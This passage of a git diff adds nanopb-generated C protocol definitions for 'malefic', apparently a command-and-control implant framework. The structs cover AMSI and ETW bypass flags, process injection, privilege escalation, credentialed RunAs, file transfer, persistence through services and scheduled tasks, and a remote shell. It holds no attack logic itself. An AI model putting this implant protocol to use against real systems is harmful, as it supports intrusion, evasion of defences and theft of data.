max_size:256 +malefic.FFmpegRequest.time max_size:32 + +# --- PTY --- +malefic.PtyRequest.type max_size:32 +malefic.PtyRequest.session_id max_size:64 +malefic.PtyRequest.shell max_size:128 +malefic.PtyRequest.input_data max_size:4096 +malefic.PtyRequest.input_text max_size:4096 + +malefic.PtyResponse.session_id max_size:64 +malefic.PtyResponse.output_data max_size:4096 +malefic.PtyResponse.output_text max_size:4096 +malefic.PtyResponse.error max_size:256 +malefic.PtyResponse.active_sessions max_size:64, max_count:32 + +# --- CommonBody --- +malefic.CommonBody.name max_size:256 +malefic.CommonBody.u32_array max_count:32 +malefic.CommonBody.u64_array max_count:32 +malefic.CommonBody.bool_array max_count:32 +malefic.CommonBody.string_array max_size:256, max_count:32 +malefic.CommonBody.bytes_array max_size:4096, max_count:16 diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c new file mode 100644 index 0000000..f471045 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.c @@ -0,0 +1,249 @@ +/* Automatically generated nanopb constant definitions */ +/* Generated by nanopb-0.4.9.1 */ + +#include "module.pb.h" +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + + +/* The following messages exceed 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody */ + +/* The PB_FIELD_32BIT compilation option must be defined to support messages that exceed 64 kB in size. */ +#ifndef PB_FIELD_32BIT +#error Enable PB_FIELD_32BIT to support messages exceeding 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody +#endif +PB_BIND(malefic_Ping, malefic_Ping, AUTO) + + +PB_BIND(malefic_Register, malefic_Register, 4) + + +PB_BIND(malefic_Secure, malefic_Secure, 2) + + +PB_BIND(malefic_KeyExchangeRequest, malefic_KeyExchangeRequest, 2) + + +PB_BIND(malefic_KeyExchangeResponse, malefic_KeyExchangeResponse, 2) + + +PB_BIND(malefic_Init, malefic_Init, 4) + + +PB_BIND(malefic_SysInfo, malefic_SysInfo, 2) + + +PB_BIND(malefic_Suicide, malefic_Suicide, AUTO) + + +PB_BIND(malefic_Request, malefic_Request, 4) + + +PB_BIND(malefic_Request_ParamsEntry, malefic_Request_ParamsEntry, AUTO) + + +PB_BIND(malefic_Response, malefic_Response, 4) + + +PB_BIND(malefic_Response_KvEntry, malefic_Response_KvEntry, AUTO) + + +PB_BIND(malefic_BypassRequest, malefic_BypassRequest, AUTO) + + +PB_BIND(malefic_NetInterface, malefic_NetInterface, 2) + + +PB_BIND(malefic_SockTabEntry, malefic_SockTabEntry, AUTO) + + +PB_BIND(malefic_NetstatResponse, malefic_NetstatResponse, 4) + + +PB_BIND(malefic_Block, malefic_Block, 4) + + +PB_BIND(malefic_ACK, malefic_ACK, AUTO) + + +PB_BIND(malefic_Os, malefic_Os, 2) + + +PB_BIND(malefic_Process, malefic_Process, 2) + + +PB_BIND(malefic_Timer, malefic_Timer, AUTO) + + +PB_BIND(malefic_FileInfo, malefic_FileInfo, 2) + + +PB_BIND(malefic_SacrificeProcess, malefic_SacrificeProcess, 2) + + +PB_BIND(malefic_LsResponse, malefic_LsResponse, 4) + + +PB_BIND(malefic_DriveInfo, malefic_DriveInfo, AUTO) + + +PB_BIND(malefic_EnumDriversResponse, malefic_EnumDriversResponse, 2) + + +PB_BIND(malefic_PsResponse, malefic_PsResponse, 4) + + +PB_BIND(malefic_ExecRequest, malefic_ExecRequest, 4) + + +PB_BIND(malefic_ExecResponse, malefic_ExecResponse, 4) + + +PB_BIND(malefic_BinaryResponse, malefic_BinaryResponse, 4) + + +PB_BIND(malefic_Modules, malefic_Modules, 4) + + +PB_BIND(malefic_Addons, malefic_Addons, 4) + + +PB_BIND(malefic_Addon, malefic_Addon, 2) + + +PB_BIND(malefic_LoadModule, malefic_LoadModule, 4) + + +PB_BIND(malefic_LoadAddon, malefic_LoadAddon, 4) + + +PB_BIND(malefic_ExecuteAddon, malefic_ExecuteAddon, 4) + + +PB_BIND(malefic_ExecuteBinary, malefic_ExecuteBinary, 4) + + +PB_BIND(malefic_ExecuteBinary_ParamEntry, malefic_ExecuteBinary_ParamEntry, AUTO) + + +PB_BIND(malefic_ExecuteCommand, malefic_ExecuteCommand, 2) + + +PB_BIND(malefic_UploadRequest, malefic_UploadRequest, 4) + + +PB_BIND(malefic_DownloadRequest, malefic_DownloadRequest, 2) + + +PB_BIND(malefic_DownloadResponse, malefic_DownloadResponse, 4) + + +PB_BIND(malefic_CurlRequest, malefic_CurlRequest, 4) + + +PB_BIND(malefic_CurlRequest_HeaderEntry, malefic_CurlRequest_HeaderEntry, AUTO) + + +PB_BIND(malefic_ChownRequest, malefic_ChownRequest, 2) + + +PB_BIND(malefic_IfconfigResponse, malefic_IfconfigResponse, 4) + + +PB_BIND(malefic_RegistryRequest, malefic_RegistryRequest, 2) + + +PB_BIND(malefic_Registry, malefic_Registry, 2) + + +PB_BIND(malefic_RegistryWriteRequest, malefic_RegistryWriteRequest, 4) + + +PB_BIND(malefic_TaskScheduleRequest, malefic_TaskScheduleRequest, 2) + + +PB_BIND(malefic_TaskSchedule, malefic_TaskSchedule, 2) + + +PB_BIND(malefic_TaskSchedulesResponse, malefic_TaskSchedulesResponse, 4) + + +PB_BIND(malefic_ServiceRequest, malefic_ServiceRequest, 2) + + +PB_BIND(malefic_ServiceConfig, malefic_ServiceConfig, 2) + + +PB_BIND(malefic_ServiceStatus, malefic_ServiceStatus, AUTO) + + +PB_BIND(malefic_Service, malefic_Service, 2) + + +PB_BIND(malefic_ServicesResponse, malefic_ServicesResponse, 4) + + +PB_BIND(malefic_WmiQueryRequest, malefic_WmiQueryRequest, 4) + + +PB_BIND(malefic_WmiMethodRequest, malefic_WmiMethodRequest, 2) + + +PB_BIND(malefic_WmiMethodRequest_ParamsEntry, malefic_WmiMethodRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_RunAsRequest, malefic_RunAsRequest, 2) + + +PB_BIND(malefic_GetSystem, malefic_GetSystem, 4) + + +PB_BIND(malefic_Inject, malefic_Inject, 4) + + +PB_BIND(malefic_Pipe, malefic_Pipe, 4) + + +PB_BIND(malefic_PipeRequest, malefic_PipeRequest, 4) + + +PB_BIND(malefic_Switch, malefic_Switch, 4) + + +PB_BIND(malefic_TaskCtrl, malefic_TaskCtrl, AUTO) + + +PB_BIND(malefic_TaskInfo, malefic_TaskInfo, AUTO) + + +PB_BIND(malefic_TaskListResponse, malefic_TaskListResponse, 2) + + +PB_BIND(malefic_FFmpegRequest, malefic_FFmpegRequest, 2) + + +PB_BIND(malefic_PtyRequest, malefic_PtyRequest, 4) + + +PB_BIND(malefic_PtyRequest_ParamsEntry, malefic_PtyRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_PtyResponse, malefic_PtyResponse, 4) + + +PB_BIND(malefic_PtyResponse_MetadataEntry, malefic_PtyResponse_MetadataEntry, AUTO) + + +PB_BIND(malefic_CommonBody, malefic_CommonBody, 4) + + + +#ifndef PB_CONVERT_DOUBLE_FLOAT +/* On some platforms (such as AVR), double is really float. + * To be able to encode/decode double on these platforms, you need. + * to define PB_CONVERT_DOUBLE_FLOAT in pb.h or compiler command line. + */ +PB_STATIC_ASSERT(sizeof(double) == 8, DOUBLE_MUST_BE_8_BYTES) +#endif + diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h new file mode 100644 index 0000000..ca75d0d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.pb.h @@ -0,0 +1,1857 @@ +/* Automatically generated nanopb header */ +/* Generated by nanopb-0.4.9.1 */ + +#ifndef PB_MALEFIC_MODULE_PB_H_INCLUDED +#define PB_MALEFIC_MODULE_PB_H_INCLUDED +#include + +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + +/* Struct definitions */ +typedef struct _malefic_Ping { + int32_t nonce; +} malefic_Ping; + +typedef struct _malefic_Secure { + bool enable; + char key[256]; /* encryption key */ + char type[64]; /* encryption type */ + char public_key[256]; /* Implant's public key, used by server to encrypt data */ +} malefic_Secure; + +typedef PB_BYTES_ARRAY_T(256) malefic_KeyExchangeRequest_signature_t; +/* Age key exchange related messages */ +typedef struct _malefic_KeyExchangeRequest { + char public_key[256]; /* Temporary public key (Age X25519) */ + malefic_KeyExchangeRequest_signature_t signature; /* Signature of temporary public key */ + uint64_t timestamp; /* Timestamp */ + char nonce[64]; /* Nonce */ +} malefic_KeyExchangeRequest; + +typedef struct _malefic_KeyExchangeResponse { + char public_key[256]; /* Server temporary public key */ +} malefic_KeyExchangeResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Init_data_t; +typedef struct _malefic_Init { + malefic_Init_data_t data; +} malefic_Init; + +typedef struct _malefic_Suicide { + int32_t type; + int64_t timestamp; +} malefic_Suicide; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Request_bin_t; +/* common empty request */ +typedef struct _malefic_Request { + char name[256]; + char input[256]; + pb_size_t args_count; + char args[32][256]; + pb_callback_t params; + malefic_Request_bin_t bin; +} malefic_Request; + +typedef struct _malefic_Request_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Request_ParamsEntry; + +typedef struct _malefic_Response { + char output[4096]; + char error[256]; + pb_callback_t kv; + pb_size_t array_count; + char array[32][256]; +} malefic_Response; + +typedef struct _malefic_Response_KvEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Response_KvEntry; + +typedef struct _malefic_BypassRequest { + bool ETW; + bool AMSI; + bool block_dll; +} malefic_BypassRequest; + +typedef struct _malefic_NetInterface { + int32_t index; + char name[128]; + char mac[32]; + pb_size_t ip_addresses_count; + char ip_addresses[16][64]; +} malefic_NetInterface; + +typedef struct _malefic_SockTabEntry { + char local_addr[64]; + char remote_addr[64]; + char skState[32]; + /* uint32 uid = 4; */ + char pid[16]; + char protocol[16]; +} malefic_SockTabEntry; + +typedef struct _malefic_NetstatResponse { + pb_size_t socks_count; + malefic_SockTabEntry socks[256]; +} malefic_NetstatResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Block_content_t; +typedef struct _malefic_Block { + uint32_t block_id; + malefic_Block_content_t content; + bool end; +} malefic_Block; + +typedef struct _malefic_ACK { + uint32_t id; + bool success; + bool end; +} malefic_ACK; + +typedef struct _malefic_Os { + char name[128]; + char version[128]; /* kernel version */ + char release[128]; /* release version */ + char arch[32]; + char username[128]; + char hostname[128]; + char locale[64]; /* timezone */ + pb_size_t clr_version_count; + char clr_version[8][64]; +} malefic_Os; + +typedef struct _malefic_Process { + char name[128]; + uint32_t pid; + uint32_t ppid; + char owner[128]; + char arch[32]; + char path[256]; + char args[256]; + char uid[64]; +} malefic_Process; + +typedef struct _malefic_SysInfo { + char filepath[256]; + char workdir[256]; + bool is_privilege; + bool has_os; + malefic_Os os; + bool has_process; + malefic_Process process; +} malefic_SysInfo; + +typedef struct _malefic_Timer { + char expression[128]; + double jitter; +} malefic_Timer; + +typedef struct _malefic_FileInfo { + char Name[256]; + bool IsDir; + uint64_t Size; + int64_t ModTime; + uint32_t Mode; + char Link[256]; +} malefic_FileInfo; + +typedef struct _malefic_SacrificeProcess { + bool hidden; + bool block_dll; + bool etw; + uint32_t ppid; + char argue[256]; +} malefic_SacrificeProcess; + +typedef struct _malefic_LsResponse { + char Path[256]; + bool Exists; + pb_size_t Files_count; + malefic_FileInfo Files[128]; +} malefic_LsResponse; + +typedef struct _malefic_DriveInfo { + char path[64]; /* "C:\\" */ + char drive_type[64]; /* "Fixed drive" */ + uint64_t total_size; /* */ + uint64_t free_size; /* */ + char file_system[32]; /* "NTFS" */ +} malefic_DriveInfo; + +typedef struct _malefic_EnumDriversResponse { + pb_size_t drives_count; + malefic_DriveInfo drives[16]; +} malefic_EnumDriversResponse; + +typedef struct _malefic_PsResponse { + pb_size_t processes_count; + malefic_Process processes[512]; +} malefic_PsResponse; + +typedef struct _malefic_ExecRequest { + char path[256]; + pb_size_t args_count; + char args[32][256]; + bool output; + bool singleton; + bool realtime; + uint32_t ppid; +} malefic_ExecRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stdout_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stderr_t; +typedef struct _malefic_ExecResponse { + int32_t status_code; + malefic_ExecResponse_stdout_t stdout; + malefic_ExecResponse_stderr_t stderr; + uint32_t pid; + bool end; +} malefic_ExecResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_data_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_message_t; +typedef struct _malefic_BinaryResponse { + malefic_BinaryResponse_data_t data; /* common return, bof BeaconOutput */ + malefic_BinaryResponse_message_t message; /* bof BeaconPrintf */ + int32_t status; + char err[256]; +} malefic_BinaryResponse; + +typedef struct _malefic_Modules { + pb_size_t modules_count; + char modules[64][256]; +} malefic_Modules; + +typedef struct _malefic_Addon { + char name[128]; + char type[64]; + char depend[128]; +} malefic_Addon; + +typedef struct _malefic_Register { + char name[256]; + char proxy[256]; + pb_size_t module_count; + char module[64][256]; + pb_size_t addons_count; + malefic_Addon addons[32]; + bool has_timer; + malefic_Timer timer; + bool has_sysinfo; + malefic_SysInfo sysinfo; + bool has_secure; + malefic_Secure secure; /* Implant's public key, used by server to encrypt data */ +} malefic_Register; + +typedef struct _malefic_Addons { + pb_size_t addons_count; + malefic_Addon addons[32]; +} malefic_Addons; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadModule_bin_t; +typedef struct _malefic_LoadModule { + char bundle[256]; + malefic_LoadModule_bin_t bin; +} malefic_LoadModule; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadAddon_bin_t; +typedef struct _malefic_LoadAddon { + char name[128]; + char type[64]; + char depend[128]; + malefic_LoadAddon_bin_t bin; +} malefic_LoadAddon; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_bin_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_data_t; +typedef struct _malefic_ExecuteBinary { + char name[128]; + malefic_ExecuteBinary_bin_t bin; + pb_callback_t param; + char type[64]; + char process_name[128]; + pb_size_t args_count; + char args[32][256]; + char entry_point[128]; + malefic_ExecuteBinary_data_t data; + bool output; + uint32_t arch; + uint32_t timeout; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; + char path[256]; + char context[256]; + uint32_t delay; /* millisecond */ +} malefic_ExecuteBinary; + +typedef struct _malefic_ExecuteAddon { + char addon[128]; + bool has_execute_binary; + malefic_ExecuteBinary execute_binary; +} malefic_ExecuteAddon; + +typedef struct _malefic_ExecuteBinary_ParamEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_ExecuteBinary_ParamEntry; + +typedef struct _malefic_ExecuteCommand { + char command[256]; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; +} malefic_ExecuteCommand; + +typedef PB_BYTES_ARRAY_T(4096) malefic_UploadRequest_data_t; +typedef struct _malefic_UploadRequest { + char name[256]; + char target[256]; + uint32_t priv; + malefic_UploadRequest_data_t data; + bool hidden; + bool override; +} malefic_UploadRequest; + +typedef struct _malefic_DownloadRequest { + char path[256]; + char name[256]; + uint32_t buffer_size; + bool dir; + int32_t cur; +} malefic_DownloadRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_DownloadResponse_content_t; +typedef struct _malefic_DownloadResponse { + char checksum[128]; + uint64_t size; + int32_t cur; + malefic_DownloadResponse_content_t content; +} malefic_DownloadResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CurlRequest_body_t; +typedef struct _malefic_CurlRequest { + char url[512]; + int32_t timeout; + char method[16]; + malefic_CurlRequest_body_t body; + pb_callback_t header; + char hostname[256]; +} malefic_CurlRequest; + +typedef struct _malefic_CurlRequest_HeaderEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_CurlRequest_HeaderEntry; + +typedef struct _malefic_ChownRequest { + char path[256]; + char uid[64]; + char gid[64]; + bool recursive; +} malefic_ChownRequest; + +typedef struct _malefic_IfconfigResponse { + pb_size_t net_interfaces_count; + malefic_NetInterface net_interfaces[32]; +} malefic_IfconfigResponse; + +typedef struct _malefic_Registry { + char hive[64]; + char path[256]; + char key[256]; +} malefic_Registry; + +/* wrap for client */ +typedef struct _malefic_RegistryRequest { + char type[64]; + bool has_registry; + malefic_Registry registry; +} malefic_RegistryRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_RegistryWriteRequest_byte_value_t; +typedef struct _malefic_RegistryWriteRequest { + char hive[64]; + char path[256]; + char key[256]; + char string_value[256]; + malefic_RegistryWriteRequest_byte_value_t byte_value; + uint32_t dword_value; + uint64_t qword_value; + uint32_t regtype; +} malefic_RegistryWriteRequest; + +typedef struct _malefic_TaskSchedule { + char name[256]; + char path[256]; + char executable_path[256]; + uint32_t trigger_type; + char start_boundary[64]; + char description[256]; + bool enabled; + char last_run_time[64]; + char next_run_time[64]; +} malefic_TaskSchedule; + +typedef struct _malefic_TaskScheduleRequest { + char type[64]; + bool has_taskschd; + malefic_TaskSchedule taskschd; +} malefic_TaskScheduleRequest; + +typedef struct _malefic_TaskSchedulesResponse { + pb_size_t schedules_count; + malefic_TaskSchedule schedules[64]; +} malefic_TaskSchedulesResponse; + +typedef struct _malefic_ServiceConfig { + char name[256]; + char display_name[256]; + char executable_path[256]; + uint32_t start_type; + uint32_t error_control; + char account_name[128]; +} malefic_ServiceConfig; + +/* wrap for client */ +typedef struct _malefic_ServiceRequest { + char type[64]; + bool has_service; + malefic_ServiceConfig service; +} malefic_ServiceRequest; + +typedef struct _malefic_ServiceStatus { + uint32_t current_state; + uint32_t process_id; + uint32_t exit_code; + uint32_t checkpoint; + uint32_t wait_hint; +} malefic_ServiceStatus; + +typedef struct _malefic_Service { + bool has_config; + malefic_ServiceConfig config; + bool has_status; + malefic_ServiceStatus status; +} malefic_Service; + +typedef struct _malefic_ServicesResponse { + pb_size_t services_count; + malefic_Service services[128]; +} malefic_ServicesResponse; + +typedef struct _malefic_WmiQueryRequest { + char namespace[256]; + pb_size_t args_count; + char args[16][256]; +} malefic_WmiQueryRequest; + +typedef struct _malefic_WmiMethodRequest { + char namespace[256]; + char class_name[128]; + char method_name[128]; + pb_callback_t params; +} malefic_WmiMethodRequest; + +typedef struct _malefic_WmiMethodRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_WmiMethodRequest_ParamsEntry; + +typedef struct _malefic_RunAsRequest { + char username[128]; /* Username to execute as */ + char domain[128]; /* User domain */ + char password[256]; /* User password */ + char program[256]; /* Program path */ + char args[256]; /* Program arguments (optional) */ + bool use_profile; + bool netonly; /* Use network credentials only (optional, default false) */ + bool use_env; +} malefic_RunAsRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_GetSystem_bin_t; +typedef struct _malefic_GetSystem { + malefic_GetSystem_bin_t bin; + uint32_t pid; +} malefic_GetSystem; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Inject_bin_t; +typedef struct _malefic_Inject { + malefic_Inject_bin_t bin; + uint32_t pid; +} malefic_Inject; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Pipe_data_t; +typedef struct _malefic_Pipe { + char name[128]; + char target[128]; + malefic_Pipe_data_t data; +} malefic_Pipe; + +typedef struct _malefic_PipeRequest { + char type[64]; + bool has_pipe; + malefic_Pipe pipe; +} malefic_PipeRequest; + +typedef struct _malefic_Switch { + pb_size_t urls_count; + char urls[16][256]; +} malefic_Switch; + +typedef struct _malefic_TaskCtrl { + uint32_t task_id; + char op[64]; +} malefic_TaskCtrl; + +typedef struct _malefic_TaskInfo { + uint32_t task_id; + uint64_t last; + uint32_t recv_count; + uint32_t send_count; +} malefic_TaskInfo; + +typedef struct _malefic_TaskListResponse { + pb_size_t tasks_count; + malefic_TaskInfo tasks[128]; +} malefic_TaskListResponse; + +typedef struct _malefic_FFmpegRequest { + char action[64]; + char device_name[128]; + char output_format[32]; + char output_path[256]; + char time[32]; +} malefic_FFmpegRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyRequest_input_data_t; +/* PTY */ +typedef struct _malefic_PtyRequest { + char type[32]; /* type: "start", "input", "stop" */ + char session_id[64]; /* */ + char shell[128]; /* shell type: "/bin/bash", "cmd.exe", "powershell.exe" */ + uint32_t cols; /* */ + uint32_t rows; /* */ + malefic_PtyRequest_input_data_t input_data; /* */ + char input_text[4096]; /* */ + pb_callback_t params; /* */ +} malefic_PtyRequest; + +typedef struct _malefic_PtyRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyRequest_ParamsEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyResponse_output_data_t; +typedef struct _malefic_PtyResponse { + char session_id[64]; /* Session ID */ + malefic_PtyResponse_output_data_t output_data; /* Output data (binary) */ + char output_text[4096]; /* Output data (text) */ + char error[256]; /* Error message */ + bool session_active; /* Whether session is still active */ + pb_size_t active_sessions_count; + char active_sessions[32][64]; + pb_callback_t metadata; +} malefic_PtyResponse; + +typedef struct _malefic_PtyResponse_MetadataEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyResponse_MetadataEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CommonBody_bytes_array_t; +typedef struct _malefic_CommonBody { + char name[256]; + pb_size_t u32_array_count; + uint32_t u32_array[32]; + pb_size_t u64_array_count; + uint64_t u64_array[32]; + pb_size_t bool_array_count; + bool bool_array[32]; + pb_size_t string_array_count; + char string_array[32][256]; + pb_size_t bytes_array_count; + malefic_CommonBody_bytes_array_t bytes_array[16]; +} malefic_CommonBody; + + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initializer values for message structs */ +#define malefic_Ping_init_default {0} +#define malefic_Register_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}, false, malefic_Timer_init_default, false, malefic_SysInfo_init_default, false, malefic_Secure_init_default} +#define malefic_Secure_init_default {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_default {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_default {""} +#define malefic_Init_init_default {{0, {0}}} +#define malefic_SysInfo_init_default {"", "", 0, false, malefic_Os_init_default, false, malefic_Process_init_default} +#define malefic_Suicide_init_default {0, 0} +#define malefic_Request_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_default {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_default {0, 0, 0} +#define malefic_NetInterface_init_default {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_default {"", "", "", "", ""} +#define malefic_NetstatResponse_init_default {0, {malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, 